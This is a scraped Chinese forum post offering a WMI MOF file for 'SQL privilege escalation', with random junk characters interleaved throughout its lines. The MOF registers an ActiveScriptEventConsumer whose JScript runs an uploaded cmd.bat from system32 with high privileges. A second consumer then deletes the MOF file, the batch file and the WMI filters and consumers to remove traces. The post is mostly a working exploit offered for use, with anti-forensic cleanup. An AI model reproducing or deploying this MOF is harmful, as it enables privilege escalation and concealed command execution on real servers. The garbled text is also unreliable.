这个sql提权MOF需要运行 system下的文件,不能定义路径。! j; @' W; O+ m; K, t$ H% M A
需要将要运行的命令写入到bat上传到system32目录,然后执行。9 n+ a& S( O( S
$ F1 ?8 w3 l5 q1 d3 p
这个sql提权MOF需要运行 system下的文件,不能定义路径。
0 [9 U9 F6 H" V# j+ T6 `需要将要运行的命令写入到bat上传到system32目录,然后执行。3 w4 {- ~! W( G' M& D0 g e
' {' {& d% X) ]/ Y8 u#pragma
$ F; V6 r3 a9 C h/ w: L namespace("\\\\.\\root\\cimv2")9 q5 g( A$ X! h; y3 A) I) b; F& j! g
class$ H' G/ N9 B2 ]2 p
MyClass5479 v, @4 f8 W" A8 w& n
{ [key]
- v; U& _: L% _ @0 k string
) U) F3 P0 L6 I7 g* {" l+ ^ Name;
' R" g6 f, M( E& q' O };: z- t/ d3 @5 A! g$ c' p; P3 X" s
class
6 F8 X5 q. c4 B8 O% c' Q ActiveScriptEventConsumer
9 B- J6 p& C" ]5 g; f : __EventConsumer { [key]
4 c3 f* { q% N$ p/ @6 f* Y6 Z8 t string2 }6 X7 ?3 x8 U; e- \
Name; [not_null]
& K( Z' d! X; N8 t! ` string
* l5 |. {1 C# A1 _4 x ScriptingEngine; string0 W% x$ z; O/ M0 b
ScriptFileName; [template]& ^9 r+ a) r4 S1 F, P
string( a+ K- L$ H2 [- w0 w$ R6 F
ScriptText; uint32 KillTimeout;
) S: X/ g* D4 e- ^! B7 l$ ~ }; instance of __Win32Provider as $P {
. L; v( H* R$ R( C: R% c Name2 ?( h( W" c! o K* {9 u* S0 \% X
=3 a. K+ w: E' }# c D
"ActiveScriptEventConsumer"; CLSID =
" H2 S) `8 u9 V* L: d "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";3 N' I, q; G, z
PerUserInitialization% F7 J& x1 \/ @
= TRUE;
8 M( ~# l$ ?+ m2 E" G. u }; instance of __EventConsumerProviderRegistration { Provider3 z* w' C. L6 i2 m+ R& {- c
= $P; ConsumerClassNames: ^6 _0 L- r8 j2 R$ o5 |! M9 Y# k
=. W6 ?; C8 j& L$ K( k" R) [
{"ActiveScriptEventConsumer"};
. D/ J: S3 }( @; S };
& @' m& L5 K/ w Instance of ActiveScriptEventConsumer
: \3 B4 J3 y( _2 y/ k; R as $cons { Name
0 Y% F# ~4 N: V# X0 i7 @ =9 Z) |3 I5 V+ @
"ASEC"; ScriptingEngine
3 O5 n; e" S; z$ D2 v$ m" j =- i8 l3 k2 j) K4 l9 E3 ^2 _
"JScript"; ScriptText
* }* r9 W& d+ |/ [1 k9 ^ =
. a; K' N7 l6 q6 r+ Q "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
( [5 d4 _ d; C A: c/ m$ o Instance of ActiveScriptEventConsumer
" a! i$ \$ s" p! c# ^; ^ as $cons2 { Name
# s6 R' N* B' N =; t; Y; Q# P0 c
"qndASEC"; ScriptingEngine
3 M7 \' q4 ~, `" f! i$ T =4 q* {2 N9 G( p
"JScript"; ScriptText
! q4 y* V# V% y/ S5 r =
: w0 }" _/ b8 R; i6 R8 K( G "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";/ S5 s B" F/ {
}; instance of __EventFilter as $Filt { Name5 U* g; V2 x( x
=
! Q% R. R& A+ c, C "instfilt"; Query
$ \( f2 g! y/ R0 e# R! ^ =+ p) y+ A8 Q/ K' y$ @9 T' p" ~
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage& } V2 L, b4 n7 H3 W& U
=$ B5 `, Q: A2 Q ]( U% `
"WQL"; }; instance of __EventFilter as $Filt2 { Name
: j6 F) r, A0 k0 C =
% Z: h5 P3 Y7 b( Y& B5 Y; k+ a "qndfilt"; Query. J( L6 A7 u8 Z8 T$ P$ M" M
=" k: l. L" h" q8 Q9 p% U
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
( @. F. m- i, L4 ~3 J4 C =4 F# E$ L% _* N7 H$ v
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer+ }: }, W, X. A4 P3 S, b
= $cons; Filter f9 E! y/ P1 u# v+ i ^9 [
= $Filt;. ~7 ~; `5 f, x3 |
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
+ H6 ^6 F: w% n) T! w! ]8 Q = $cons2; Filter
% R1 D; E: e* F/ V' b = $Filt2;
0 ~( z; v h# o5 U9 u) [% e8 P }; instance of MyClass547
* d- P" W6 n! f& O as $MyClass { Name
' i1 P0 E4 V5 l =4 q% t9 ]0 `4 Q3 m& e
"ClassConsumer";
7 B1 G% N4 x( b9 [7 U0 U }; |